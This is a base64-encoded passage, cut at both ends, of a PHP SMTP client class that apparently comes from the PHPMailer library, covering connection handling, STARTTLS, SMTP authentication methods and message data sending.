CAgICAgICAgICAgICAkdGltZW91dAogICAgICAgICAgICApOwogICAgICAgICAgICByZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsKICAgICAgICB9CiAgICAgICAgLy8gVmVyaWZ5IHdlIGNvbm5lY3RlZCBwcm9wZXJseQogICAgICAgIGlmICghaXNfcmVzb3VyY2UoJHRoaXMtPnNtdHBfY29ubikpIHsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKAogICAgICAgICAgICAgICAgJ0ZhaWxlZCB0byBjb25uZWN0IHRvIHNlcnZlcicsCiAgICAgICAgICAgICAgICAnJywKICAgICAgICAgICAgICAgIChzdHJpbmcpICRlcnJubywKICAgICAgICAgICAgICAgIChzdHJpbmcpICRlcnJzdHIKICAgICAgICAgICAgKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygKICAgICAgICAgICAgICAgICdTTVRQIEVSUk9SOiAnIC4gJHRoaXMtPmVycm9yWydlcnJvciddCiAgICAgICAgICAgICAgICAgICAgLiAiOiAkZXJyc3RyICgkZXJybm8pIiwKICAgICAgICAgICAgICAgIHNlbGY6OkRFQlVHX0NMSUVOVAogICAgICAgICAgICApOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgICR0aGlzLT5lZGVidWcoJ0Nvbm5lY3Rpb246IG9wZW5lZCcsIHNlbGY6OkRFQlVHX0NPTk5FQ1RJT04pOwogICAgICAgIC8vIFNNVFAgc2VydmVyIGNhbiB0YWtlIGxvbmdlciB0byByZXNwb25kLCBnaXZlIGxvbmdlciB0aW1lb3V0IGZvciBmaXJzdCByZWFkCiAgICAgICAgLy8gV2luZG93cyBkb2VzIG5vdCBoYXZlIHN1cHBvcnQgZm9yIHRoaXMgdGltZW91dCBmdW5jdGlvbgogICAgICAgIGlmIChzdWJzdHIoUEhQX09TLCAwLCAzKSAhPSAnV0lOJykgewogICAgICAgICAgICAkbWF4ID0gaW5pX2dldCgnbWF4X2V4ZWN1dGlvbl90aW1lJyk7CiAgICAgICAgICAgIC8vIERvbid0IGJvdGhlciBpZiB1bmxpbWl0ZWQKICAgICAgICAgICAgaWYgKDAgIT0gJG1heCBhbmQgJHRpbWVvdXQgPiAkbWF4KSB7CiAgICAgICAgICAgICAgICBAc2V0X3RpbWVfbGltaXQoJHRpbWVvdXQpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHN0cmVhbV9zZXRfdGltZW91dCgkdGhpcy0+c210cF9jb25uLCAkdGltZW91dCwgMCk7CiAgICAgICAgfQogICAgICAgIC8vIEdldCBhbnkgYW5ub3VuY2VtZW50CiAgICAgICAgJGFubm91bmNlID0gJHRoaXMtPmdldF9saW5lcygpOwogICAgICAgICR0aGlzLT5lZGVidWcoJ1NFUlZFUiAtPiBDTElFTlQ6ICcgLiAkYW5ub3VuY2UsIHNlbGY6OkRFQlVHX1NFUlZFUik7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAvKioKICAgICAqIEluaXRpYXRlIGEgVExTIChlbmNyeXB0ZWQpIHNlc3Npb24uCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzdGFydFRMUygpCiAgICB7CiAgICAgICAgaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoJ1NUQVJUVExTJywgJ1NUQVJUVExTJywgMjIwKSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8vQWxsb3cgdGhlIGJlc3QgVExTIHZlcnNpb24ocykgd2UgY2FuCiAgICAgICAgJGNyeXB0b19tZXRob2QgPSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFNfQ0xJRU5UOwogICAgICAgIC8vUEhQIDUuNi43IGRyb3BwZWQgaW5jbHVzaW9uIG9mIFRMUyAxLjEgYW5kIDEuMiBpbiBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFNfQ0xJRU5UCiAgICAgICAgLy9zbyBhZGQgdGhlbSBiYWNrIGluIG1hbnVhbGx5IGlmIHdlIGNhbgogICAgICAgIGlmIChkZWZpbmVkKCdTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFN2MV8yX0NMSUVOVCcpKSB7CiAgICAgICAgICAgICRjcnlwdG9fbWV0aG9kIHw9IFNUUkVBTV9DUllQVE9fTUVUSE9EX1RMU3YxXzJfQ0xJRU5UOwogICAgICAgICAgICAkY3J5cHRvX21ldGhvZCB8PSBTVFJFQU1fQ1JZUFRPX01FVEhPRF9UTFN2MV8xX0NMSUVOVDsKICAgICAgICB9CiAgICAgICAgLy8gQmVnaW4gZW5jcnlwdGVkIGNvbm5lY3Rpb24KICAgICAgICBzZXRfZXJyb3JfaGFuZGxlcihbJHRoaXMsICdlcnJvckhhbmRsZXInXSk7CiAgICAgICAgJGNyeXB0b19vayA9IHN0cmVhbV9zb2NrZXRfZW5hYmxlX2NyeXB0bygKICAgICAgICAgICAgJHRoaXMtPnNtdHBfY29ubiwKICAgICAgICAgICAgdHJ1ZSwKICAgICAgICAgICAgJGNyeXB0b19tZXRob2QKICAgICAgICApOwogICAgICAgIHJlc3RvcmVfZXJyb3JfaGFuZGxlcigpOwogICAgICAgIHJldHVybiAoYm9vbCkgJGNyeXB0b19vazsKICAgIH0KICAgIC8qKgogICAgICogUGVyZm9ybSBTTVRQIGF1dGhlbnRpY2F0aW9uLgogICAgICogTXVzdCBiZSBydW4gYWZ0ZXIgaGVsbG8oKS4KICAgICAqCiAgICAgKiBAc2VlICAgIGhlbGxvKCkKICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICR1c2VybmFtZSBUaGUgdXNlciBuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXNzd29yZCBUaGUgcGFzc3dvcmQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGF1dGh0eXBlIFRoZSBhdXRoIHR5cGUgKENSQU0tTUQ1LCBQTEFJTiwgTE9HSU4sIFhPQVVUSDIpCiAgICAgKiBAcGFyYW0gT0F1dGggICRPQXV0aCAgICBBbiBvcHRpb25hbCBPQXV0aCBpbnN0YW5jZSBmb3IgWE9BVVRIMiBhdXRoZW50aWNhdGlvbgogICAgICoKICAgICAqIEByZXR1cm4gYm9vbCBUcnVlIGlmIHN1Y2Nlc3NmdWxseSBhdXRoZW50aWNhdGVkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBhdXRoZW50aWNhdGUoCiAgICAgICAgJHVzZXJuYW1lLAogICAgICAgICRwYXNzd29yZCwKICAgICAgICAkYXV0aHR5cGUgPSBudWxsLAogICAgICAgICRPQXV0aCA9IG51bGwKICAgICkgewogICAgICAgIGlmICghJHRoaXMtPnNlcnZlcl9jYXBzKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcignQXV0aGVudGljYXRpb24gaXMgbm90IGFsbG93ZWQgYmVmb3JlIEhFTE8vRUhMTycpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCdFSExPJywgJHRoaXMtPnNlcnZlcl9jYXBzKSkgewogICAgICAgICAgICAvLyBTTVRQIGV4dGVuc2lvbnMgYXJlIGF2YWlsYWJsZTsgdHJ5IHRvIGZpbmQgYSBwcm9wZXIgYXV0aGVudGljYXRpb24gbWV0aG9kCiAgICAgICAgICAgIGlmICghYXJyYXlfa2V5X2V4aXN0cygnQVVUSCcsICR0aGlzLT5zZXJ2ZXJfY2FwcykpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcignQXV0aGVudGljYXRpb24gaXMgbm90IGFsbG93ZWQgYXQgdGhpcyBzdGFnZScpOwogICAgICAgICAgICAgICAgLy8gJ2F0IHRoaXMgc3RhZ2UnIG1lYW5zIHRoYXQgYXV0aCBtYXkgYmUgYWxsb3dlZCBhZnRlciB0aGUgc3RhZ2UgY2hhbmdlcwogICAgICAgICAgICAgICAgLy8gZS5nLiBhZnRlciBTVEFSVFRMUwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJ0F1dGggbWV0aG9kIHJlcXVlc3RlZDogJyAuICgkYXV0aHR5cGUgPyAkYXV0aHR5cGUgOiAnVU5TUEVDSUZJRUQnKSwgc2VsZjo6REVCVUdfTE9XTEVWRUwpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKAogICAgICAgICAgICAgICAgJ0F1dGggbWV0aG9kcyBhdmFpbGFibGUgb24gdGhlIHNlcnZlcjogJyAuIGltcGxvZGUoJywnLCAkdGhpcy0+c2VydmVyX2NhcHNbJ0FVVEgnXSksCiAgICAgICAgICAgICAgICBzZWxmOjpERUJVR19MT1dMRVZFTAogICAgICAgICAgICApOwogICAgICAgICAgICAvL0lmIHdlIGhhdmUgcmVxdWVzdGVkIGEgc3BlY2lmaWMgYXV0aCB0eXBlLCBjaGVjayB0aGUgc2VydmVyIHN1cHBvcnRzIGl0IGJlZm9yZSB0cnlpbmcgb3RoZXJzCiAgICAgICAgICAgIGlmIChudWxsICE9PSAkYXV0aHR5cGUgYW5kICFpbl9hcnJheSgkYXV0aHR5cGUsICR0aGlzLT5zZXJ2ZXJfY2Fwc1snQVVUSCddKSkgewogICAgICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygnUmVxdWVzdGVkIGF1dGggbWV0aG9kIG5vdCBhdmFpbGFibGU6ICcgLiAkYXV0aHR5cGUsIHNlbGY6OkRFQlVHX0xPV0xFVkVMKTsKICAgICAgICAgICAgICAgICRhdXRodHlwZSA9IG51bGw7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKGVtcHR5KCRhdXRodHlwZSkpIHsKICAgICAgICAgICAgICAgIC8vSWYgbm8gYXV0aCBtZWNoYW5pc20gaXMgc3BlY2lmaWVkLCBhdHRlbXB0IHRvIHVzZSB0aGVzZSwgaW4gdGhpcyBvcmRlcgogICAgICAgICAgICAgICAgLy9UcnkgQ1JBTS1NRDUgZmlyc3QgYXMgaXQncyBtb3JlIHNlY3VyZSB0aGFuIHRoZSBvdGhlcnMKICAgICAgICAgICAgICAgIGZvcmVhY2ggKFsnQ1JBTS1NRDUnLCAnTE9HSU4nLCAnUExBSU4nLCAnWE9BVVRIMiddIGFzICRtZXRob2QpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJG1ldGhvZCwgJHRoaXMtPnNlcnZlcl9jYXBzWydBVVRIJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRhdXRodHlwZSA9ICRtZXRob2Q7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkYXV0aHR5cGUpKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCdObyBzdXBwb3J0ZWQgYXV0aGVudGljYXRpb24gbWV0aG9kcyBmb3VuZCcpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHNlbGY6OmVkZWJ1ZygnQXV0aCBtZXRob2Qgc2VsZWN0ZWQ6ICcgLiAkYXV0aHR5cGUsIHNlbGY6OkRFQlVHX0xPV0xFVkVMKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoIWluX2FycmF5KCRhdXRodHlwZSwgJHRoaXMtPnNlcnZlcl9jYXBzWydBVVRIJ10pKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoIlRoZSByZXF1ZXN0ZWQgYXV0aGVudGljYXRpb24gbWV0aG9kIFwiJGF1dGh0eXBlXCIgaXMgbm90IHN1cHBvcnRlZCBieSB0aGUgc2VydmVyIik7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZiAoZW1wdHkoJGF1dGh0eXBlKSkgewogICAgICAgICAgICAkYXV0aHR5cGUgPSAnTE9HSU4nOwogICAgICAgIH0KICAgICAgICBzd2l0Y2ggKCRhdXRodHlwZSkgewogICAgICAgICAgICBjYXNlICdQTEFJTic6CiAgICAgICAgICAgICAgICAvLyBTdGFydCBhdXRoZW50aWNhdGlvbgogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoJ0FVVEgnLCAnQVVUSCBQTEFJTicsIDMzNCkpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAvLyBTZW5kIGVuY29kZWQgdXNlcm5hbWUgYW5kIHBhc3N3b3JkCiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zZW5kQ29tbWFuZCgKICAgICAgICAgICAgICAgICAgICAnVXNlciAmIFBhc3N3b3JkJywKICAgICAgICAgICAgICAgICAgICBiYXNlNjRfZW5jb2RlKCJcMCIgLiAkdXNlcm5hbWUgLiAiXDAiIC4gJHBhc3N3b3JkKSwKICAgICAgICAgICAgICAgICAgICAyMzUKICAgICAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnTE9HSU4nOgogICAgICAgICAgICAgICAgLy8gU3RhcnQgYXV0aGVudGljYXRpb24KICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNlbmRDb21tYW5kKCdBVVRIJywgJ0FVVEggTE9HSU4nLCAzMzQpKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoJ1VzZXJuYW1lJywgYmFzZTY0X2VuY29kZSgkdXNlcm5hbWUpLCAzMzQpKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c2VuZENvbW1hbmQoJ1Bhc3N3b3JkJywgYmFzZTY0X2VuY29kZSgkcGFzc3dvcmQpLCAyMzUpKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ0NSQU0tTUQ1JzoKICAgICAgICAgICAgICAgIC8vIFN0YXJ0IGF1dGhlbnRpY2F0aW9uCiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zZW5kQ29tbWFuZCgnQVVUSCBDUkFNLU1ENScsICdBVVRIIENSQU0tTUQ1JywgMzM0KSkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIC8vIEdldCB0aGUgY2hhbGxlbmdlCiAgICAgICAgICAgICAgICAkY2hhbGxlbmdlID0gYmFzZTY0X2RlY29kZShzdWJzdHIoJHRoaXMtPmxhc3RfcmVwbHksIDQpKTsKICAgICAgICAgICAgICAgIC8vIEJ1aWxkIHRoZSByZXNwb25zZQogICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gJHVzZXJuYW1lIC4gJyAnIC4gJHRoaXMtPmhtYWMoJGNoYWxsZW5nZSwgJHBhc3N3b3JkKTsKICAgICAgICAgICAgICAgIC8vIHNlbmQgZW5jb2RlZCBjcmVkZW50aWFscwogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zZW5kQ29tbWFuZCgnVXNlcm5hbWUnLCBiYXNlNjRfZW5jb2RlKCRyZXNwb25zZSksIDIzNSk7CiAgICAgICAgICAgIGNhc2UgJ1hPQVVUSDInOgogICAgICAgICAgICAgICAgLy9UaGUgT0F1dGggaW5zdGFuY2UgbXVzdCBiZSBzZXQgdXAgcHJpb3IgdG8gcmVxdWVzdGluZyBhdXRoLgogICAgICAgICAgICAgICAgaWYgKG51bGwgPT09ICRPQXV0aCkgewogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRvYXV0aCA9ICRPQXV0aC0+Z2V0T2F1dGg2NCgpOwogICAgICAgICAgICAgICAgLy8gU3RhcnQgYXV0aGVudGljYXRpb24KICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnNlbmRDb21tYW5kKCdBVVRIJywgJ0FVVEggWE9BVVRIMiAnIC4gJG9hdXRoLCAyMzUpKSB7CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoIkF1dGhlbnRpY2F0aW9uIG1ldGhvZCBcIiRhdXRodHlwZVwiIGlzIG5vdCBzdXBwb3J0ZWQiKTsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICAvKioKICAgICAqIENhbGN1bGF0ZSBhbiBNRDUgSE1BQyBoYXNoLgogICAgICogV29ya3MgbGlrZSBoYXNoX2htYWMoJ21kNScsICRkYXRhLCAka2V5KQogICAgICogaW4gY2FzZSB0aGF0IGZ1bmN0aW9uIGlzIG5vdCBhdmFpbGFibGUuCiAgICAgKgogICAgICogQHBhcmFtIHN0cmluZyAkZGF0YSBUaGUgZGF0YSB0byBoYXNoCiAgICAgKiBAcGFyYW0gc3RyaW5nICRrZXkgIFRoZSBrZXkgdG8gaGFzaCB3aXRoCiAgICAgKgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGhtYWMoJGRhdGEsICRrZXkpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnaGFzaF9obWFjJykpIHsKICAgICAgICAgICAgcmV0dXJuIGhhc2hfaG1hYygnbWQ1JywgJGRhdGEsICRrZXkpOwogICAgICAgIH0KICAgICAgICAvLyBUaGUgZm9sbG93aW5nIGJvcnJvd2VkIGZyb20KICAgICAgICAvLyBodHRwOi8vcGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ubWhhc2gucGhwIzI3MjI1CiAgICAgICAgLy8gUkZDIDIxMDQgSE1BQyBpbXBsZW1lbnRhdGlvbiBmb3IgcGhwLgogICAgICAgIC8vIENyZWF0ZXMgYW4gbWQ1IEhNQUMuCiAgICAgICAgLy8gRWxpbWluYXRlcyB0aGUgbmVlZCB0byBpbnN0YWxsIG1oYXNoIHRvIGNvbXB1dGUgYSBITUFDCiAgICAgICAgLy8gYnkgTGFuY2UgUnVzaGluZwogICAgICAgICRieXRlbGVuID0gNjQ7IC8vIGJ5dGUgbGVuZ3RoIGZvciBtZDUKICAgICAgICBpZiAoc3RybGVuKCRrZXkpID4gJGJ5dGVsZW4pIHsKICAgICAgICAgICAgJGtleSA9IHBhY2soJ0gqJywgbWQ1KCRrZXkpKTsKICAgICAgICB9CiAgICAgICAgJGtleSA9IHN0cl9wYWQoJGtleSwgJGJ5dGVsZW4sIGNocigweDAwKSk7CiAgICAgICAgJGlwYWQgPSBzdHJfcGFkKCcnLCAkYnl0ZWxlbiwgY2hyKDB4MzYpKTsKICAgICAgICAkb3BhZCA9IHN0cl9wYWQoJycsICRieXRlbGVuLCBjaHIoMHg1YykpOwogICAgICAgICRrX2lwYWQgPSAka2V5IF4gJGlwYWQ7CiAgICAgICAgJGtfb3BhZCA9ICRrZXkgXiAkb3BhZDsKICAgICAgICByZXR1cm4gbWQ1KCRrX29wYWQgLiBwYWNrKCdIKicsIG1kNSgka19pcGFkIC4gJGRhdGEpKSk7CiAgICB9CiAgICAvKioKICAgICAqIENoZWNrIGNvbm5lY3Rpb24gc3RhdGUuCiAgICAgKgogICAgICogQHJldHVybiBib29sIFRydWUgaWYgY29ubmVjdGVkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjb25uZWN0ZWQoKQogICAgewogICAgICAgIGlmIChpc19yZXNvdXJjZSgkdGhpcy0+c210cF9jb25uKSkgewogICAgICAgICAgICAkc29ja19zdGF0dXMgPSBzdHJlYW1fZ2V0X21ldGFfZGF0YSgkdGhpcy0+c210cF9jb25uKTsKICAgICAgICAgICAgaWYgKCRzb2NrX3N0YXR1c1snZW9mJ10pIHsKICAgICAgICAgICAgICAgIC8vIFRoZSBzb2NrZXQgaXMgdmFsaWQgYnV0IHdlIGFyZSBub3QgY29ubmVjdGVkCiAgICAgICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKAogICAgICAgICAgICAgICAgICAgICdTTVRQIE5PVElDRTogRU9GIGNhdWdodCB3aGlsZSBjaGVja2luZyBpZiBjb25uZWN0ZWQnLAogICAgICAgICAgICAgICAgICAgIHNlbGY6OkRFQlVHX0NMSUVOVAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICR0aGlzLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOyAvLyBldmVyeXRoaW5nIGxvb2tzIGdvb2QKICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQogICAgLyoqCiAgICAgKiBDbG9zZSB0aGUgc29ja2V0IGFuZCBjbGVhbiB1cCB0aGUgc3RhdGUgb2YgdGhlIGNsYXNzLgogICAgICogRG9uJ3QgdXNlIHRoaXMgZnVuY3Rpb24gd2l0aG91dCBmaXJzdCB0cnlpbmcgdG8gdXNlIFFVSVQuCiAgICAgKgogICAgICogQHNlZSBxdWl0KCkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGNsb3NlKCkKICAgIHsKICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJycpOwogICAgICAgICR0aGlzLT5zZXJ2ZXJfY2FwcyA9IG51bGw7CiAgICAgICAgJHRoaXMtPmhlbG9fcnBseSA9IG51bGw7CiAgICAgICAgaWYgKGlzX3Jlc291cmNlKCR0aGlzLT5zbXRwX2Nvbm4pKSB7CiAgICAgICAgICAgIC8vIGNsb3NlIHRoZSBjb25uZWN0aW9uIGFuZCBjbGVhbnVwCiAgICAgICAgICAgIGZjbG9zZSgkdGhpcy0+c210cF9jb25uKTsKICAgICAgICAgICAgJHRoaXMtPnNtdHBfY29ubiA9IG51bGw7IC8vTWFrZXMgZm9yIGNsZWFuZXIgc2VyaWFsaXphdGlvbgogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCdDb25uZWN0aW9uOiBjbG9zZWQnLCBzZWxmOjpERUJVR19DT05ORUNUSU9OKTsKICAgICAgICB9CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgYW4gU01UUCBEQVRBIGNvbW1hbmQuCiAgICAgKiBJc3N1ZXMgYSBkYXRhIGNvbW1hbmQgYW5kIHNlbmRzIHRoZSBtc2dfZGF0YSB0byB0aGUgc2VydmVyLAogICAgICogZmluaWFsaXppbmcgdGhlIG1haWwgdHJhbnNhY3Rpb24uICRtc2dfZGF0YSBpcyB0aGUgbWVzc2FnZQogICAgICogdGhhdCBpcyB0byBiZSBzZW5kIHdpdGggdGhlIGhlYWRlcnMuIEVhY2ggaGVhZGVyIG5lZWRzIHRvIGJlCiAgICAgKiBvbiBhIHNpbmdsZSBsaW5lIGZvbGxvd2VkIGJ5IGEgPENSTEY+IHdpdGggdGhlIG1lc3NhZ2UgaGVhZGVycwogICAgICogYW5kIHRoZSBtZXNzYWdlIGJvZHkgYmVpbmcgc2VwYXJhdGVkIGJ5IGFuIGFkZGl0aW9uYWwgPENSTEY+LgogICAgICogSW1wbGVtZW50cyBSRkMgODIxOiBEQVRBIDxDUkxGPi4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2dfZGF0YSBNZXNzYWdlIGRhdGEgdG8gc2VuZAogICAgICoKICAgICAqIEByZXR1cm4gYm9vbAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZGF0YSgkbXNnX2RhdGEpCiAgICB7CiAgICAgICAgLy9UaGlzIHdpbGwgdXNlIHRoZSBzdGFuZGFyZCB0aW1lbGltaXQKICAgICAgICBpZiAoISR0aGlzLT5zZW5kQ29tbWFuZCgnREFUQScsICdEQVRBJywgMzU0KSkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgICAgIC8qIFRoZSBzZXJ2ZXIgaXMgcmVhZHkgdG8gYWNjZXB0IGRhdGEhCiAgICAgKiBBY2NvcmRpbmcgdG8gcmZjODIxIHdlIHNob3VsZCBub3Qgc2VuZCBtb3JlIHRoYW4gMTAwMCBjaGFyYWN0ZXJzIG9uIGEgc2luZ2xlIGxpbmUgKGluY2x1ZGluZyB0aGUgTEUpCiAgICAgKiBzbyB3ZSB3aWxsIGJyZWFrIHRoZSBkYXRhIHVwIGludG8gbGluZXMgYnkgXHIgYW5kL29yIFxuIHRoZW4gaWYgbmVlZGVkIHdlIHdpbGwgYnJlYWsgZWFjaCBvZiB0aG9zZSBpbnRvCiAgICAgKiBzbWFsbGVyIGxpbmVzIHRvIGZpdCB3aXRoaW4gdGhlIGxpbWl0LgogICAgICogV2Ugd2lsbCBhbHNvIGxvb2sgZm9yIGxpbmVzIHRoYXQgc3RhcnQgd2l0aCBhICcuJyBhbmQgcHJlcGVuZCBhbiBhZGRpdGlvbmFsICcuJy4KICAgICAqIE5PVEU6IHRoaXMgZG9lcyBub3QgY291bnQgdG93YXJkcyBsaW5lLWxlbmd0aCBsaW1pdC4KICAgICAqLwogICAgICAgIC8vIE5vcm1hbGl6ZSBsaW5lIGJyZWFrcyBiZWZvcmUgZXhwbG9kaW5nCiAgICAgICAgJGxpbmVzID0gZXhwbG9kZSgiXG4iLCBzdHJfcmVwbGFjZShbIlxyXG4iLCAiXHIiXSwgIlxuIiwgJG1zZ19kYXRhKSk7CiAgICAgICAgLyogVG8gZGlzdGluZ3Vpc2ggYmV0d2VlbiBhIGNvbXBsZXRlIFJGQzgyMiBtZXNzYWdlIGFuZCBhIHBsYWluIG1lc3NhZ2UgYm9keSwgd2UgY2hlY2sgaWYgdGhlIGZpcnN0IGZpZWxkCiAgICAgKiBvZiB0aGUgZmlyc3QgbGluZSAoJzonIHNlcGFyYXRlZCkgZG9lcyBub3QgY29udGFpbiBhIHNwYWNlIHRoZW4gaXQgX3Nob3VsZF8gYmUgYSBoZWFkZXIgYW5kIHdlIHdpbGwKICAgICAqIHByb2Nlc3MgYWxsIGxpbmVzIGJlZm9yZSBhIGJsYW5rIGxpbmUgYXMgaGVhZGVycy4KICAgICAqLwogICAgICAgICRmaWVsZCA9IHN1YnN0cigkbGluZXNbMF0sIDAsIHN0cnBvcygkbGluZXNbMF0sICc6JykpOwogICAgICAgICRpbl9oZWFkZXJzID0gZmFsc2U7CiAgICAgICAgaWYgKCFlbXB0eSgkZmllbGQpIGFuZCBzdHJwb3MoJGZpZWxkLCAnICcpID09PSBmYWxzZSkgewogICAgICAgICAgICAkaW5faGVhZGVycyA9IHRydWU7CiAgICAgICAgfQogICAgICAgIGZvcmVhY2ggKCRsaW5lcyBhcyAkbGluZSkgewogICAgICAgICAgICAkbGluZXNfb3V0ID0gW107CiAgICAgICAgICAgIGlmICgkaW5faGVhZGVycyBhbmQgJGxpbmUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRpbl9oZWFkZXJzID0gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9CcmVhayB0aGlzIGxpbmUgdXAgaW50byBzZXZlcmFsIHNtYWxsZXIgbGluZXMgaWYgaXQncyB0b28gbG9uZwogICAgICAgICAgICAvL01pY3JvLW9wdGltaXNhdGlvbjogaXNzZXQoJHN0clskbGVuXSkgaXMgZmFzdGVyIHRoYW4gKHN0cmxlbigkc3RyKSA+ICRsZW4pLAogICAgICAgICAgICB3aGlsZSAoaXNzZXQoJGxpbmVbc2VsZjo6TUFYX0xJTkVfTEVOR1RIXSkpIHsKICAgICAgICAgICAgICAgIC8vV29ya2luZyBiYWNrd2FyZHMsIHRyeSB0byBmaW5kIGEgc3BhY2Ugd2l0aGluIHRoZSBsYXN0IE1BWF9MSU5FX0xFTkdUSCBjaGFycyBvZiB0aGUgbGluZSB0byBicmVhayBvbgogICAgICAgICAgICAgICAgLy9zbyBhcyB0byBhdm9pZCBicmVha2luZyBpbiB0aGUgbWlkZGxlIG9mIGEgd29yZAogICAgICAgICAgICAgICAgJHBvcyA9IHN0cnJwb3Moc3Vic3RyKCRsaW5lLCAwLCBzZWxmOjpNQVhfTElORV9MRU5HVEgpLCAnICcpOwogICAgICAgICAgICAgICAgLy9EZWxpYmVyYXRlbHkgbWF0Y2hlcyBib3RoIGZhbHNlIGFuZCAwCiAgICAgICAgICAgICAgICBpZiAoISRwb3MpIHsKICAgICAgICAgICAgICAgICAgICAvL05vIG5pY2UgYnJlYWsgZm91bmQsIGFkZCBhIGhhcmQgYnJlYWsKICAgICAgICAgICAgICAgICAgICAkcG9zID0gc2VsZjo6TUFYX0xJTkVfTEVOR1RIIC0gMTsKICAgICAgICAgICAgICAgICAgICAkbGluZXNfb3V0W10gPSBzdWJzdHIoJGxpbmUsIDAsICRwb3MpOwogICAgICAg